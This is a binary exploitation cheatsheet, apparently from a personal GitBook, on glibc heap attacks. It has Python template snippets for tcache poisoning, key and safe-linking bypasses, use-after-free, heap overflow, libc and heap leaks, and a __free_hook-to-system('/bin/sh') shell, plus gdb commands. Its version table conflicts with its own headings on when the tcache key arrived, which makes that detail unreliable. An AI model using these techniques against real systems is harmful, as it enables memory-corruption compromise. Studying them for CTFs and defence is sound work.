> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/toolkit/cheatsheets/04-heap-cheatsheet.md).

# Heap Exploitation Cheatsheet

## ─── CHUNK STRUCTURE (64-bit) ─────────────────────────────────────────────────

```
 ┌─────────────────────────────┐
 │  prev_size  (8 bytes)       │  ← size of prev chunk if free
 ├─────────────────────────────┤
 │  size       (8 bytes)       │  ← size of THIS chunk | P|M|A flags
 ├─────────────────────────────┤  ← malloc() returns pointer here
 │  user data...               │
 │  (min 16 bytes usable)      │
 └─────────────────────────────┘

Freed tcache/fastbin chunk:
 ┌─────────────────────────────┐
 │  prev_size                  │
 ├─────────────────────────────┤
 │  size | flags               │
 ├─────────────────────────────┤
 │  fd → next free chunk       │  ← KEY TARGET for tcache poisoning
 ├─────────────────────────────┤
 │  key (glibc ≥ 2.29)         │  ← &tcache struct, checked on double free
 └─────────────────────────────┘

size flags (lowest 3 bits):
  P (0x1) = prev chunk in use (PREV_INUSE)
  M (0x2) = chunk mmapped
  A (0x4) = non-main arena
```

***

## ─── BIN REFERENCE TABLE ──────────────────────────────────────────────────────

| Bin      | Size range   | Max count | Structure     | glibc |
| -------- | ------------ | --------- | ------------- | ----- |
| Tcache   | 0x20 – 0x408 | 7/bin     | LIFO singly   | ≥2.26 |
| Fastbin  | 0x20 – 0x80  | unlimited | LIFO singly   | all   |
| Unsorted | any          | unlimited | doubly-linked | all   |
| Smallbin | 0x20 – 0x3f0 | unlimited | FIFO doubly   | all   |
| Largebin | ≥ 0x400      | unlimited | doubly sorted | all   |

***

## ─── ATTACK CHEATSHEET ────────────────────────────────────────────────────────

### Tcache Poisoning (glibc 2.26–2.27)

```python
# 1. Free chunk into tcache
free(chunk_a)                          # tcache: A → NULL
# 2. Overwrite fd (UAF or Double Free)
write(chunk_a, p64(target_addr))       # tcache: A → target
# 3. Allocate twice
alloc(size, b'junk')                   # returns A
alloc(size, payload)                   # returns target → write there!
```

### Tcache Poisoning (glibc 2.29–2.31, key bypass)

```python
# After freeing chunk, zero out key before second free
free(chunk_a)
write(chunk_a, b'\x00' * 8 + b'\x00' * 8)   # zero key field at offset 8
free(chunk_a)                                  # double free succeeds
write(chunk_a, p64(target_addr))
```

### Tcache Poisoning (glibc ≥ 2.32, safe-linking)

```python
# fd is XOR-mangled: stored_fd = (chunk_addr >> 12) ^ real_fd
# Need heap base leak to bypass

# Leak heap base: allocate, free, read back the mangled fd
free(chunk_a)
mangled = u64(read(chunk_a)[:8])
heap_base = mangled << 12              # approximate (if fd was NULL)

# Forge mangled fd
def mangle(heap_addr, target):
    return (heap_addr >> 12) ^ target

write(chunk_a, p64(mangle(heap_base, target_addr)))
```

### Use-After-Free (Function Pointer)

```python
# Object with function pointer at known offset
free(obj)
# UAF: write win() address over function pointer
write(obj, b'A' * fp_offset + p64(win_addr))
# Call the method → redirected to win()
trigger(obj)
```

### Heap Overflow (Corrupt Next Chunk Size)

```python
# Overflow from chunk A into chunk B's size field
# Making B appear larger → it will cover chunk C when freed
# → Overlapping chunks → control C's fd through B
write_overflow(chunk_a, b'A'*chunk_a_size + p64(0) + p64(fake_size | 0x1))
free(chunk_b)   # freed with fake size → overlaps C
```

***

## ─── TARGET SELECTION ─────────────────────────────────────────────────────────

| Target             | glibc  | What happens                     |
| ------------------ | ------ | -------------------------------- |
| `__free_hook`      | < 2.34 | Called with ptr on every free()  |
| `__malloc_hook`    | < 2.34 | Called with size on every malloc |
| `__realloc_hook`   | < 2.34 | Called on realloc()              |
| GOT entry          | any    | Redirect next libc call          |
| `_IO_buf_base`     | any    | FSOP (file stream attack)        |
| `tcache_perthread` | ≥ 2.26 | Corrupt counts + entries         |
| Stack ret addr     | any    | Direct RIP control               |
| vtable pointer     | any    | Overwrite C++ vtable             |

### \_\_free\_hook example (glibc < 2.34)

```python
# After tcache poisoning:
target = libc.sym['__free_hook']
# Write system() there
alloc_at_target(p64(libc.sym['system']))
# Free a chunk containing "/bin/sh\x00"
alloc_shell = alloc(size, b'/bin/sh\x00')
free(alloc_shell)   # __free_hook("/bin/sh") = system("/bin/sh") → shell!
```

***

## ─── LIBC VERSION CONSIDERATIONS ─────────────────────────────────────────────

| Version | Feature added                       | Impact                         |
| ------- | ----------------------------------- | ------------------------------ |
| 2.26    | Tcache added                        | Easy double free               |
| 2.27    | Tcache, still no key                | Easy tcache poison             |
| 2.28    | Tcache key check                    | Must zero key for double free  |
| 2.29    | Key = \&tcache struct               | Harder double free             |
| 2.31    | Slight tweaks                       | Still key-based                |
| 2.32    | Safe-linking (XOR fd)               | Need heap leak                 |
| 2.34    | Removed hooks (\_\_free\_hook etc.) | Need different targets         |
| 2.35+   | More hardening                      | House of techniques still work |

***

## ─── HEAP FENG SHUI TRICKS ───────────────────────────────────────────────────

```python
# Fill tcache bin (put 7 chunks so next free goes to fastbin/unsorted)
for i in range(7):
    alloc(0x80, b'fill')
for i in range(7):
    free(i)     # fills tcache
# Now 8th free goes to fastbin/unsorted bin (contains libc ptrs)

# Heap grooming: get two adjacent allocations
a = alloc(0x20, b'A')     # addr X
b = alloc(0x20, b'B')     # addr X + 0x30
free(a)
c = alloc(0x20, b'C')     # same addr as a (reused from tcache)

# Create hole for overlap
a = alloc(0x80, b'A')
b = alloc(0x80, b'B')     # victim
c = alloc(0x10, b'C')     # prevent top chunk consolidation
free(b)
# Now overflow from a into b's size field
```

***

## ─── HEAP LEAK TECHNIQUES ────────────────────────────────────────────────────

```python
# 1. Unsorted bin leak (libc address)
# Allocate large chunk (>0x408), free to unsorted bin
# Read back fd/bk → points into main_arena (libc)
alloc(0x500, b'large')
alloc(0x20, b'guard')   # prevent top consolidation
free(0)                  # → unsorted bin
# fd = bk = main_arena.top or bin addr (libc offset ~0x3ebca0 varies)
leak = u64(read(0)[:8])
libc.address = leak - 0x3ebca0   # adjust per libc version

# 2. Tcache fd leak (heap address)
# glibc ≥ 2.32: mangled fd reveals heap base
# glibc < 2.32: fd of first tcache entry is 0, second has ptr to first
alloc(0x20, b'A')   # chunk 0
alloc(0x20, b'B')   # chunk 1
free(1)              # tcache: 1 → NULL
free(0)              # tcache: 0 → 1 → NULL
heap_leak = u64(read(0)[:8])   # = addr of chunk 1 (plain, pre-2.32)
```

***

## ─── GDB HEAP COMMANDS ────────────────────────────────────────────────────────

```bash
gdb ./vuln
> heap                          # all chunks
> bins                          # all bins
> tcache                        # tcache perthread struct
> tcachebins                    # tcache bin chains
> fastbins                      # fastbin chains
> vis_heap_chunks 0x602000      # visual starting at addr
> malloc_chunk 0x602010         # inspect chunk
> arena                         # main arena
> x/4gx 0x602010                # manual inspect: [prev_size][size][fd][key]
```

***

## ─── HEAPINFO (pwndbg shortcuts) ────────────────────────────────────────────

```
heap             → print_heap
bins             → print_bins
tcache           → print_tcache
vis              → vis_heap_chunks
mp               → mp_ (malloc parameters)
```

***

## ─── HOUSE OF TECHNIQUES (overview) ────────────────────────────────────────

| Technique          | Idea                                         |
| ------------------ | -------------------------------------------- |
| House of Spirit    | Free a fake chunk to control next alloc      |
| House of Force     | Overflow into top chunk size → huge alloc    |
| House of Lore      | Corrupt smallbin FIFO                        |
| House of Einherjar | Off-by-one → backward consolidation          |
| House of Orange    | Corrupt top chunk → unsortedbin attack       |
| House of Rabbit    | Fastbin dup with overlapping                 |
| House of Roman     | Partial overwrite \_\_malloc\_hook (no leak) |
| House of Io        | FSOP via \_IO\_FILE                          |
| Largebin Attack    | Write large value to arbitrary location      |
